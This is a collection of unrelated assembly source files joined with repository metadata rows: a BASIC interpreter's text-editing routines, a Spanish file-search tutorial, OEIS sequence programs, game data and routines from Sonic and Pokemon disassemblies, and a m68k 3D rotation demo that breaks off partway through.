; Called during Binary Save with fBind==FALSE to go through all
; text tables about to be saved, and for each opcode which refers
; to a prs (opStSub/Function/DefFn/Declare/Call/CallS) convert
; the prs id from oPrs to oNam.
; This is because, when the module is re-loaded, offsets into the
; procedure table may not be the same.
;
; Entry:
; al = TBIND_Load: map pcode oNam->oPrs, call PrsDefine
; TBIND_Save1: map pcode oPrs->oNam - called before writing to file
; TBIND_Save2: map pcode oNam->oPrs - called after writing to file
; grs.fDirect must be FALSE
; grs.oMrsCur identifies module just loaded.
; All text tables in this mrs are assumed to be in SS_RUDE or SS_PARSE
;
; Exit:
; returns 0 if no error, else a standard Basic error code.
; condition codes are set based on value in ax
; NOTE: If called with ax = zero, no error is possible, and no
; heap movement will occur - Binary Save depends on this.
;
;**************************************************************
PUBLIC TxtBindPrsS
TxtBindPrsS PROC NEAR
mov [fBindStatic],al
mov [bindErrCode],0
DbAssertRelB [grs.GRS_fDirect],e,FALSE,CP,<TxtBindPrsS:fDirect TRUE>
;convert the module's text table and each procedure's text table
mov bx,CPOFFSET TxtBindPrs
call ForEachTxtTblInMrs
mov ax,[bindErrCode] ;return error code to caller
or ax,ax ;set condition codes for caller
ret
TxtBindPrsS ENDP
;----------------------------------------------------------------------
; BigEdit Related Functions
;
; These EditMgr operations translate into several Text Manager calls:
; Split Line:
; ReplaceLineBuf -> TxtChange(1st half of line, delete split line)
; InsertLineBuf -> TxtChange(2nd half of line, no delete)
;
; Join Lines:
; DeleteLinesInBuf -> TxtChange(delete 2 lines, no insert)
; InsertLineBuf -> TxtChange(joined lines, no delete)
;
; Block Paste:
; DeleteLinesInBuf(selected lines)
; InsertLineBuf -> TxtChange(1st line, no delete)
; :
; InsertLineBuf -> TxtChange(nth line, no delete)
;
; The text manager takes advantage of the fact that no big edit does more
; than 1 delete of any of the user's original pcode. It would need more
; than 1 bdTxtScrap if this were not the case.
;
; This presents a problem for Edit & Continue, since the nth text manager
; call may be the 1st operation that would prevent continuing.
; When we know we're in a BigEdit (by examining 'bigEditState'),
; all calls to TxtChange are done as a ReParse. When the BigEdit is done,
; (i.e. when TxtEndBigEdit is called), we ReParse all lines entered
; during the BigEdit, and if any would prevent continuing, and the user
; indicates he wants to back out of the edit:
; The inserted text (otxBigIns, cbBigIns) is deleted (via TxtDelete)
;
; As a speed optimization for block paste, we only update the txt links
; at the end of a big edit. This significantly reduces the over head for
; large edit operations.
;
; The following shows the BigEdit related actions performed by various routines:
;
; bigEditState is initialized to BIG_EDIT_FALSE
;
; TxtStartBigEdit:
; bigEditState = BIG_EDIT_ACTIVE
; fFillScrap = TRUE
; cbBigIns = 0
; otxBigIns = UNDEFINED
;
; TxtDelete(otxDelFirst, otxDelLast)
; If bigEditState == BIG_EDIT_CANCEL, return without changing anything
; If delete would prevent continuing, & user wants to back out of edit,
; if bigEditState == BIG_EDIT_ACTIVE, then bigEditState = BIG_EDIT_CANCEL
; return without changing anything
; If fFillScrap and bdTxtScrap is empty,
; fFillScrap = FALSE
; copy deleted text to bdTxtScrap
; otxScrap = otxDelFirst
; If cbBigIns > 0, cbBigIns -= cbDel
;
; TxtChange(otxDelFirst, otxDelLast, fNoInsert)
; If bigEditState == BIG_EDIT_CANCEL, return without changing anything
; fFillScrap = TRUE
; If otxDelFirst != otxDelLast
; if TxtDelete(otxDelFirst, otxDelLast) == FALSE
; return without changing any pcode (user wants to back out of edit)
; If fNoInsert return
; fFillScrap = FALSE
; If bigEditState == BIG_EDIT_ACTIVE
; insert line as an opReParse
; cbBigIns += cbInsert
; if otxDelFirst < otxBigIns
; otxBigIns = otxDelFirst
; else
; Parse source line to pcode
; If insert would prevent continuing, and user wants to back out of edit,
; If cbBigIns > 0, TxtDelete(otxBigIns, otxBigIns + cbBigIns)
; If bdTxtScrap is not empty, Insert bdTxtScrap at otxScrap
; bigEditState = BIG_EDIT_CANCEL
;
; TxtEndBigEdit:
; bigEditState = BIG_EDIT_REPARSE
; otxCur = otxBigIns
; While bigEditState != BIG_EDIT_CANCEL && otxCur < otxBigIns + cbBigIns
; call TxtChange to reparse line at otxCur
; otxCur = next opReParse(otxCur)
; release bdTxtScrap
; call update links to rethread the pcode linked lists.
;
;-------------------------------------------------------
;**************************************************************
; TxtStartBigEdit()
; Purpose:
; Called by the Edit Mgr at the start of some operation which results
; multiple calls to InsertLineInBuf/ReplaceLineBuf/DeleteLinesBuf.
; Examples include multi-line-paste/cut/copy, line-split, line-join.
;
;**************************************************************
cProc TxtStartBigEdit,<PUBLIC,FAR>
cBegin TxtStartBigEdit
DbAssertRelB [bigEditState],e,BIG_EDIT_FALSE,CP,<TxtStartBigEdit:Already in big edit>
mov [bigEditState],BIG_EDIT_ACTIVE
and [flagsTm],NOT FTM_BpDeleted ;clear BP deleted flag
mov [cForDel],1
mov [cForStepDel],1
sub ax,ax ;ax = 0
mov [cbBigIns],ax ;cbBigIns = 0
dec ax ;ax = FFFF
mov [otxBigIns],ax ;otxBigIns = UNDEFINED
mov [fFillScrap],al ;fFillScrap = TRUE
cEnd TxtStartBigEdit
;**************************************************************
; bool TxtEndBigEdit()
; Purpose:
; Called by the Edit Mgr at the end of some operation which results
; multiple calls to InsertLineInBuf/ReplaceLineBuf/DeleteLinesBuf.
; Exit:
; same as TxtChange
;
;**************************************************************
cProc TxtEndBigEdit,<PUBLIC,FAR>,<si,di>
cBegin TxtEndBigEdit
DbAssertRelB [bigEditState],ne,BIG_EDIT_FALSE,CP,<TxtEndBigEdit:Not in big edit>
sub ax,ax ;prepare to return 0
mov si,[otxBigIns] ;si = otxStart of big edit
inc si ;did any edit occur?
jz TeDone ;brif not
dec si
mov di,si
add di,[cbBigIns] ;di = otxEnd of big edit
cmp [bigEditState],BIG_EDIT_ACTIVE ;did we successfully complete
jne TeLoop ;the big edit - brif backed out
push si
push di
call UpdateLinks ;update txt threads before processing
;op reparse list.
DbChk TxdOps ;check for bad linked lists through
; pcode, bad opcodes, etc.
mov cx,[grs.GRS_oRsCur] ;cx = oRsCur on entry
TeLoop:
sub ax,ax ;prepare to return 0
test [mrsCur.MRS_flags2],FM2_NoPcode
jne TeDone ;if document or command window, done
cmp [bigEditState],BIG_EDIT_CANCEL
je TeDone ;brif user backed out of BigEdit
cmp cx,[grs.GRS_oRsCur] ;did we change from one SUB/FUNCION
; into a different SUB/FUNCTION?
jne TeDone ;brif so, leave the rest of edit as
; opReparses.
mov [bigEditState],BIG_EDIT_REPARSE
mov ax,si ;pass otxStart to DoReParse
mov bx,di ;bx = otx to stop looking for opReParse
sub di,[txdCur.TXD_bdlText_cbLogical]
;prepare for add di,_cbLogical below
push cx ;preserve entry oRs
call DoReParse ;parse next opReParse in text table
;ax = non-zero if serious error
pop cx ;recover entry oRs
jc TeDone ;brif this edit caused an error
add di,[txdCur.TXD_bdlText_cbLogical]
;adjust terminating otx for delta this
; edit caused.
jmp SHORT TeLoop ;brif 1 line was successfully reparsed
;ax = error code (0 if none)
TeDone:
cmp [bdlTxtScrap.BDL_status],NOT_OWNER
je TeDontFree
push ax ;save return value from DoReParse
PUSHI ax,<dataOFFSET bdlTxtScrap>
call BdlFree ;release DELETE scrap
pop ax ;ax = DoReParse (and TxtChange's)
; return value
TeDontFree:
mov [bigEditState],BIG_EDIT_FALSE
cmp ax,ER_OM
je TeExit
cmp ax, MSG_GoDirect ; Also, allow this error
je TeExit
sub ax,ax ;all errors except Out-of-memory
; are ignored. User may be joining
; or spliting two lines, which will
; temporarily result in a syntax error,
; which the user fully intends to fix.
; Giving the error when the user
; moves off the line is soon enough.
; Anything else is very annoying.
TeExit:
cEnd TxtEndBigEdit
;**************************************************************
; ushort FAR TxtPaste(otxInsert, oRsSrc)
;
; Purpose:
; The editor calls TxtPaste() to insert a block of
; opReparses into a text table. This is called in
; association with BigEdits, after TxtStartBigEdit,
; and prior to TxtEndBigEdit. This speeds up block
; pastes since the opReparses that are in the scrap
; do not have to be listed to ascii, and multiple
; TxtChange calls are avoided.
; TxtDescan() should be called before this, to ensure that
; the text table is descanned to SS_PARSE state.
;
; Entry:
; grs.oMrsCur, grs.oPrsCur have their usual meaning
; parm1: ushort otxInsert - text table offset to opBol
; opcode for where lines should be inserted.
; parm2: ushort oMrsSrc - Describes the MRS and text table
; containing the block to be inserted.
;
; Exit:
; ax = 0 if out of memory
;
;**************************************************************
; This version of TxtPaste will not work in EB since it pushes pointers
; to text tables onto the stack and calls RsActivate.
cProc TxtPaste,<PUBLIC,FAR>,<si,di>
parmW otxInsert
parmW oRsSrc
localW cbIns
cBegin
mov [fFillScrap],0 ;just paste, nothing to put in Scrap
push [grs.GRS_oRsCur] ;save destination oRs
push [oRsSrc]
call RsActivateCP ;activate Src txt table
mov ax,[txdCur.TXD_bdlText_cbLogical] ;get size of text to copy
sub ax,CB_EMPTY_TEXT-StartOtx ;don't include opEndProg and opEot
mov [cbIns],ax ;save amount to move. We can't assign
; to cbBigIns until after we have called
; TxtMoveUp in case of OM.
mov di,[txdCur.TXD_cLines] ;grap number of lines in source buf
call RsActivateCP ;reactivate oRsDst (already on stack)
; Make room for reparse block
mov ax,[otxInsert] ;get insertion point
mov [otxBigIns],ax ;remember for TxtEndBigEdit
push ax ;pass insertion point
push [cbIns] ;pass amount of space to free
call TxtMoveUp
je TxtPasteExit ;brif out-of-memory error
mov ax,[cbIns]
mov [cbBigIns],ax ;save amount moved for TxtEndBigEdit
add [txdCur.TXD_cLines],di ;adjust dest for inserted lines
; Copy bytes to txdcur from source txt table
DbSegMoveOff ;assert no far calls
push [grs.GRS_oRsCur] ;save destination oRs for reactivation
; after move
push ds ;save dgroup
GetSegTxtCur ;es = seg adr of current txt tbl
push es ;save dest seg
push [oRsSrc]
call RsActivateCP ;activate Src txt table
GetSegTxtCur ;es = seg adr of current txt tbl
mov cx,[cbIns]
SetStartOtx si ;start of src txt table
mov di,[otxInsert] ;insert at otxInsert in cur text table
push es
pop ds ;ds = txt seg of src
pop es ;es = txt seg of dst
shr cx,1 ;move words
rep movsw ;insert opReparses
pop ds ;recover ds = dgroup
DbSegMoveOn ;Far calls are OK again
DbAssertFlags nc,CP,<TxtPaste: err2>
call RsActivateCP ;reactivate oRsDst (already on stack)
mov si,[otxInsert]
mov bx,si ;si = otxInsert
add bx,[cbIns] ;bx = otxAfterInsert
or [flagsTm],FTM_TxtPaste ;we are pasting, so don't update line
; count.
call TxtInsUpdate ;update line count, IP, etc.
and [flagsTm],NOT FTM_TxtPaste ;clear paste flag
; OpReparse links will be updated by call to TxtEndBigEdit from
; otxBigIns to otxBigIns+cbBigIns
;
DbChk TxdOps ;check for bad linked lists through
; pcode, bad opcodes, etc.
mov ax,sp ;return True
TxtPasteExit:
cEnd
sEnd CP
end
| 32.811165
| 91
| 0.703872
|
71d73737904f2f136b82df0d1186da09af247ce2
| 3,769
|
asm
|
Assembly
|
codigo/capitulo 39/archivo_busqueda.asm
|
codeneomatrix/ENSAMBLADOR-x86-ACEVEDO
|
7d5a58179f460ba2a03b0bcf12fc4584b87f93c9
|
[
"MIT"
] | 1
|
2021-06-13T08:59:55.000Z
|
2021-06-13T08:59:55.000Z
|
codigo/capitulo 39/archivo_busqueda.asm
|
codeneomatrix/ENSAMBLADOR-x86-ACEVEDO
|
7d5a58179f460ba2a03b0bcf12fc4584b87f93c9
|
[
"MIT"
] | null | null | null |
codigo/capitulo 39/archivo_busqueda.asm
|
codeneomatrix/ENSAMBLADOR-x86-ACEVEDO
|
7d5a58179f460ba2a03b0bcf12fc4584b87f93c9
|
[
"MIT"
] | null | null | null |
segment .data
MsgError db "se produjo un error",0xA,0xD ;mensaje en caso de
; existir un error al crear el archivo los numeros
; hexadecimales son equivalentes a los numeros decimales
; 10 y 13 los cuales permiten el salto de linea
lon equ $ -MsgError
MsgExito db "archivo abierto con exito",0xA,0xD
lonexito equ $ -MsgExito
encontrado db 'letra encontrada'
lenencontrado equ $-encontrado
noencontrado db 'letra no encontrada'
lennoenecontrado equ $-noencontrado
ln db 10,13
lenln equ $-ln
archivo db "/home/neomatrix/codigo ensamblador/prueba.txt",0
; ubicacion en el sistema de archivos del archivo a crear y
; y su nombre (prueba.txt), se usa el 0 como indicador
; de fin de cadena
segment .bss
idarchivo resd 1
contenido resb 16384 ; ubicacion de memoria donde se alamcenara
; el contenido del archivo
segment .text
global _start
_start:
; abrimos el archivo
mov eax,5 ; indicamos que abriremos un archivo
mov ebx,archivo ; indicamos la ruta y el nombre del archivo
mov ecx, 0; indicamos el modo de apertura del archivo
; solo lectura = 0
; solo escritura = 1
; lectura/escritura = 2
int 80h
cmp eax,0 ; el descriptor de archivo es un numero entero
; no negativo
jl error ; de ser negativo ha ocurrido un error
mov dword[idarchivo] , eax ; guardamos el descriptor del archivo
; en memoria, para su uso posterior
mov eax, 4
mov ebx, 1
mov ecx, MsgExito
mov edx, lonexito
int 80h
;lectura del contenido del archivo
mov eax, 3 ; indicamos que leeremos el contenido
mov ebx, [idarchivo] ; colocamos el descriptor del archivo
mov ecx, contenido ; especificamos la ubicacion de memoria
; donde almacenaremos los datos del archivo
mov edx, 16384 ; establecemos la cantidad de bytes a leer
int 80h
;cierre del archivo
mov eax, 6
mov ebx, [idarchivo] ; colocamos el descriptor de archivo
int 80h
;impresion en pantalla del contenido del archivo
mov eax, 4
mov ebx, 1
mov ecx, contenido
mov edx, 16384
int 80h
mov eax, 4
mov ebx, 1
mov ecx, ln
mov edx, lenln
int 0x80
mov edi, contenido ; contenido es la ubicacion de memeoria
; donde se ubica el contenido del archivo
mov ecx, 15 ; utilizamos el registro ecx como contador
mov al, 'h' ; especificamos la letra buscar
cld ; colocamos en la bandera de direccion un cero, lo que nos
; permitira movernos de izquierda a derecha, al incrementar
; automaticamente las direcciones de memoria al utilizar
; instrucciones de manejo de cadenas
ciclo:
scasb ; la instruccion scasb compara aun byte de la direccion de
; memoria destino con el valor del registro al,
; al hacer la comparacion aumenta en uno la direccion
; de memoria destino de forma automatica, esto debido a la
; instruccion cld
je si_esta ; si el dato almacenado en el registro al y el ubicado en
; memoria son iguales la bandera de zero se coloca en uno
; la instruccion je lee este bit y si encuentra un uno
; realiza el salto a la etiqueta si_esta, de lo contrario
; no realiza ninguna accion
loop ciclo
mov eax, 4
mov ebx, 1
mov ecx, noencontrado
mov edx, lennoenecontrado
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, ln
mov edx, lenln
int 0x80
jmp salir
si_esta:
mov eax, 4
mov ebx, 1
mov ecx, encontrado
mov edx, lenencontrado
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, ln
mov edx, lenln
int 0x80
jmp salir
error:
; Mostramos el mensaje de error
mov eax, 4
mov ebx, 1
mov ecx, MsgError
mov edx, lon
int 80h
salir:
mov eax, 1
xor ebx,ebx
int 0x80
| 26.356643
| 72
| 0.685062
|
1e48bcfd5280b63291887ac7cfcf7e5d5bb68604
| 535
|
asm
|
Assembly
|
programs/oeis/343/A343794.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/343/A343794.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/343/A343794.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A343794: Numbers k such that 630*k + 315 is not an abundant number (A005101).
; 53,54,56,63,65,68,69,74,75,78,81,83,86,89,90,95,96,98,99,105,111,113,114,116,119,120,125,128,131,134,135,138,140,141,146,153,155,156,158,165,168,173,174,176,179,183,186,189,191,194,198,200,204,209,210,215,216,219,221,224,228,230,231,233,239,243,245,249,251,254,260,261,270,273,278,281,284,285,288,293,296,299,300,303,306,308,309,315,320,321,323,326,329,330,336,338,341,345,350,354
add $0,27
seq $0,40 ; The prime numbers.
sub $0,107
div $0,2
add $0,53
| 59.444444
| 382
| 0.717757
|
6cb88c630404f9b88fb691a062ee3a900f56a102
| 432
|
asm
|
Assembly
|
programs/oeis/061/A061104.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/061/A061104.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/061/A061104.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A061104: Smallest number whose digit sum is n^2.
; 0,1,4,9,79,799,9999,499999,19999999,999999999,199999999999,49999999999999,9999999999999999,7999999999999999999,7999999999999999999999,9999999999999999999999999,49999999999999999999999999999,199999999999999999999999999999999,999999999999999999999999999999999999
pow $0,2
seq $0,71061 ; Abjad values of the Arabic letters in the traditional order for abjad calculations.
sub $0,1
| 61.714286
| 262
| 0.854167
|
7b24fab15bee935dc0b00a66c47ff570539ea437
| 130
|
asm
|
Assembly
|
Working Disassembly/General/Special Stage/Map - Icons.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | 5
|
2021-07-09T08:17:56.000Z
|
2022-02-27T19:57:47.000Z
|
Working Disassembly/General/Special Stage/Map - Icons.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | null | null | null |
Working Disassembly/General/Special Stage/Map - Icons.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | null | null | null |
Map_8E30: dc.w word_8E32-Map_8E30
word_8E32: dc.w 2
dc.b $F4, $A, 0, 0, $FF, $A8
dc.b $F4, $A, 0, 9, 0, $40
| 26
| 36
| 0.492308
|
46df3a7589a1090d382ced4e4d9516720e2c5f81
| 565
|
asm
|
Assembly
|
data/baseStats_original/azumarill.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
data/baseStats_original/azumarill.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
data/baseStats_original/azumarill.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
db DEX_AZUMARILL ; pokedex id
db 100 ; base hp
db 50 ; base attack
db 80 ; base defense
db 50 ; base speed
db 80 ; base special
db WATER ; species type 1
db FAIRY ; species type 2
db 47 ; catch rate
db 66 ; base exp yield
INCBIN "pic/ymon/azumarill.pic",0,1 ; 55, sprite dimensions
dw AzumarillPicFront
dw AzumarillPicBack
; attacks known at lvl 0
db TACKLE
db TAIL_WHIP
db 0
db 0
db 3 ; growth rate
; learnset
tmlearn 1,5,6,8
tmlearn 9,10,11,12,13,14
tmlearn 17,18,19,20
tmlearn 28,31,32
tmlearn 33,34,40
tmlearn 44
tmlearn 50,53,54
db BANK(MarillPicFront)
| 19.482759
| 59
| 0.738053
|
08936f636425e19b3b639e18e45019ada98790e0
| 73
|
asm
|
Assembly
|
asm/reg_to_addr.asm
|
JohannesLaier/jit-compiler
|
490fbc3e74ed9e105169becdc112cc4d295034f9
|
[
"MIT"
] | 1
|
2021-02-10T23:28:24.000Z
|
2021-02-10T23:28:24.000Z
|
asm/reg_to_addr.asm
|
JohannesLaier/jit-compiler
|
490fbc3e74ed9e105169becdc112cc4d295034f9
|
[
"MIT"
] | null | null | null |
asm/reg_to_addr.asm
|
JohannesLaier/jit-compiler
|
490fbc3e74ed9e105169becdc112cc4d295034f9
|
[
"MIT"
] | null | null | null |
[BITS 64]
mov ebx, 0x11111111
mov rax, 0x1122334455667788
mov [rax], ebx
| 14.6
| 27
| 0.753425
|
c680ea4b942971a1bae4cb9ca514d36bfcfb079e
| 1,233
|
asm
|
Assembly
|
_incObj/sub SmashObject.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 9
|
2021-01-15T13:47:53.000Z
|
2022-01-17T15:33:55.000Z
|
_incObj/sub SmashObject.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 7
|
2021-01-14T02:18:48.000Z
|
2021-03-24T15:44:30.000Z
|
_incObj/sub SmashObject.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 2
|
2021-01-14T13:14:26.000Z
|
2021-01-29T17:46:04.000Z
|
; ---------------------------------------------------------------------------
; Subroutine to smash a block (GHZ walls and MZ blocks)
; ---------------------------------------------------------------------------
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
SmashObject:
moveq #0,d0
move.b obFrame(a0),d0
add.w d0,d0
movea.l obMap(a0),a3
adda.w (a3,d0.w),a3
addq.w #1,a3
bset #5,obRender(a0)
move.b 0(a0),d4
move.b obRender(a0),d5
movea.l a0,a1
bra.s @loadfrag
; ===========================================================================
@loop:
bsr.w FindFreeObj
bne.s @playsnd
addq.w #5,a3
@loadfrag:
move.b #4,obRoutine(a1)
move.b d4,0(a1)
move.l a3,obMap(a1)
move.b d5,obRender(a1)
move.w obX(a0),obX(a1)
move.w obY(a0),obY(a1)
move.w obGfx(a0),obGfx(a1)
move.b obPriority(a0),obPriority(a1)
move.b obActWid(a0),obActWid(a1)
move.w (a4)+,obVelX(a1)
move.w (a4)+,obVelY(a1)
cmpa.l a0,a1
bcc.s @loc_D268
move.l a0,-(sp)
movea.l a1,a0
bsr.w SpeedToPos
add.w d2,obVelY(a0)
movea.l (sp)+,a0
bsr.w DisplaySprite1
@loc_D268:
dbf d1,@loop
@playsnd:
sfx sfx_WallSmash,1,0,0 ; play smashing sound
; End of function SmashObject
| 22.833333
| 77
| 0.495539
|
bffa4440c43495122bd909b924e0821c4e754332
| 238
|
asm
|
Assembly
|
data/prize_mon_levels.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/prize_mon_levels.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/prize_mon_levels.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
PrizeMonLevelDictionary:
IF DEF(_RED)
db ABRA,9
db CLEFAIRY,8
db NIDORINA,17
db DRATINI,18
db SCYTHER,25
db PORYGON,26
ENDC
IF DEF(_BLUE)
db ABRA,6
db CLEFAIRY,12
db NIDORINO,17
db PINSIR,20
db DRATINI,24
db PORYGON,18
ENDC
| 11.9
| 24
| 0.739496
|
858ee667b31402e40e46e3f3e5011498db98936b
| 9,547
|
asm
|
Assembly
|
roto3d.asm
|
blu/m68k-misc
|
e2443976e4fec63f17c28b3d88fccee7a35d927a
|
[
"MIT"
] | 3
|
2021-12-25T20:08:09.000Z
|
2022-01-15T08:39:29.000Z
|
roto3d.asm
|
blu/m68k-misc
|
e2443976e4fec63f17c28b3d88fccee7a35d927a
|
[
"MIT"
] | null | null | null |
roto3d.asm
|
blu/m68k-misc
|
e2443976e4fec63f17c28b3d88fccee7a35d927a
|
[
"MIT"
] | null | null | null |
ea_user equ $020000
ea_stack equ $080000
ea_vicky equ $c40000
ea_text0 equ $c60000
ea_texa0 equ $c68000
ea_text1 equ $ca0000
ea_texa1 equ $ca8000
tx0_w equ 72
tx0_h equ 56
tx1_w equ 80
tx1_h equ 60
fb_w equ tx1_w
fb_h equ tx1_h
spins equ $8000
; we want absolute addresses -- with moto/vasm that means
; just use org; don't use sections as they cause resetting
; of the current offset for generation of relocatable code
org ea_user
; we get injected right into supervisor mode, interrupt-style
; demote ourselves to user mode
movea.l #ea_stack,a1
move.l a1,usp
andi.w #$dfff,sr
; plot graph paper on channel B -- symbols
lea.l pattern,a0
jsr clear_text1
.frame:
; plot graph paper on channel B -- colors
lea.l pattern+4*4,a0
jsr clear_texa1
jsr trig15
jsr trig14
addi.w #1,angle
move.w frame_i,d0
addi.w #1,d0
move.w d0,frame_i
movea.l #ea_text1+tx1_w-4,a0
jsr print_u16
ifd do_wait
move.l #spins,d0
jsr spin
endif
bra .frame
; some day
moveq #0,d0 ; syscall_exit
trap #15
; struct r3
clrso
r3_x so.w 1
r3_y so.w 1
r3_z so.w 1
r3_size = __SO
; struct tri
clrso
tri_p0 so.w 3 ; r3
tri_p1 so.w 3 ; r3
tri_p2 so.w 3 ; r3
tri_size = __SO
mat_size equ r3_size*3
inline
trig15:
; compute scr coords for obj-space tris
lea tri_obj_0,a0
lea tri_scr_0,a1
movea.l a1,a2
movea.l #ea_texa1,a5
move.w angle,d5
moveq #15,d6 ; 68000 shift cannot do imm > 8
moveq #0,d7 ; 68000 addx cannot do imm
.vert:
move.w r3_x(a0),d3 ; v_in.x
move.w r3_y(a0),d4 ; v_in.y
adda.w #r3_size,a0
; transform vertex x-coord: cos * x - sin * y
move.w d3,d0
move.w d5,d1
jsr mul_cos15
move.l d0,d2
move.w d4,d0
move.w d5,d1
jsr mul_sin15
sub.l d0,d2
; fx16.15 -> int16
asr.l d6,d2
addx.w d7,d2
addi.w #tx1_w/2,d2
move.w d2,r3_x(a1) ; v_out.x
; transform vertex y-coord: sin * x + cos * y
move.w d3,d0
move.w d5,d1
jsr mul_sin15
move.l d0,d2
move.w d4,d0
move.w d5,d1
jsr mul_cos15
add.l d0,d2
; fx16.15 -> int16
asr.l d6,d2
addx.w d7,d2
addi.w #tx1_h/2,d2
move.w d2,r3_y(a1) ; v_out.y
adda.w #r3_size,a1
cmpa.l a2,a0
bcs .vert
; scan-convert the scr-space tri edges
movea.l a1,a3
move.b #$41,color
.tri:
move.w tri_p0+r3_x(a2),d0
move.w tri_p0+r3_y(a2),d1
move.w tri_p1+r3_x(a2),d2
move.w tri_p1+r3_y(a2),d3
movea.l a5,a0
jsr line
move.w tri_p1+r3_x(a2),d0
move.w tri_p1+r3_y(a2),d1
move.w tri_p2+r3_x(a2),d2
move.w tri_p2+r3_y(a2),d3
movea.l a5,a0
jsr line
move.w tri_p2+r3_x(a2),d0
move.w tri_p2+r3_y(a2),d1
move.w tri_p0+r3_x(a2),d2
move.w tri_p0+r3_y(a2),d3
movea.l a5,a0
jsr line
adda.l #tri_size,a2
cmpa.l a3,a2
bne .tri
rts
einline
inline
trig14:
; compute scr coords for obj-space tris
lea sinLUT14,a6
moveq #14,d6 ; 68000 shift cannot do imm > 8
moveq #0,d7 ; 68000 addx cannot do imm
move.w angle,d4
move.w d4,d0
jsr lut_cos14
move.w d0,d1
move.w d4,d0
jsr lut_sin14
moveq #1,d4
asl.w d6,d4
; prepare rotation around x-axis
lea roto,a0
move.w d4,(a0)+
move.w d7,(a0)+
move.w d7,(a0)+
move.w d7,(a0)+
move.w d1,(a0)+
move.w d0,(a0)+
neg.w d0
move.w d7,(a0)+
move.w d0,(a0)+
move.w d1,(a0)+
neg.w d0
; prepare rotation around z-axis
move.w d1,(a0)+
move.w d0,(a0)+
move.w d7,(a0)+
neg.w d0
move.w d0,(a0)+
move.w d1,(a0)+
move.w d7,(a0)+
move.w d7,(a0)+
move.w d7,(a0)+
move.w d4,(a0)+
; multiply roto_x by roto_z
lea roto,a4
rept 3
move.w r3_x(a4),d0
move.w r3_y(a4),d1
move.w r3_z(a4),d2
lea -mat_size(a0),a0
jsr mul_vec3_mat
move.l a1,d0
move.l a2,d1
move.l a3,d2
; fx16.14 -> fx16
asr.l d6,d0
addx.w d7,d0
asr.l d6,d1
addx.w d7,d1
asr.l d6,d2
addx.w d7,d2
move.w d0,(a4)+
move.w d1,(a4)+
move.w d2,(a4)+
endr
movea.l a4,a0
lea tri_obj_0,a4
lea tri_scr_0,a5
movea.l a5,a6
.vert:
move.w (a4)+,d0 ; v_in.x
move.w (a4)+,d1 ; v_in.y
move.w (a4)+,d2 ; v_in.z
lea -mat_size(a0),a0
jsr mul_vec3_mat
move.l a1,d0
move.l a2,d1
move.l a3,d2
; fx16.14 -> int16
asr.l d6,d0
addx.w d7,d0
asr.l d6,d1
addx.w d7,d1
asr.l d6,d2
addx.w d7,d2
addi.w #tx1_w/2+2,d0
addi.w #tx1_h/2-1,d1
move.w d0,(a5)+ ; v_out.x
move.w d1,(a5)+ ; v_out.y
move.w d2,(a5)+ ; v_out.z
cmpa.l a6,a4
bcs .vert
; scan-convert the scr-space tri edges
movea.l a5,a3
movea.l #ea_texa1,a5
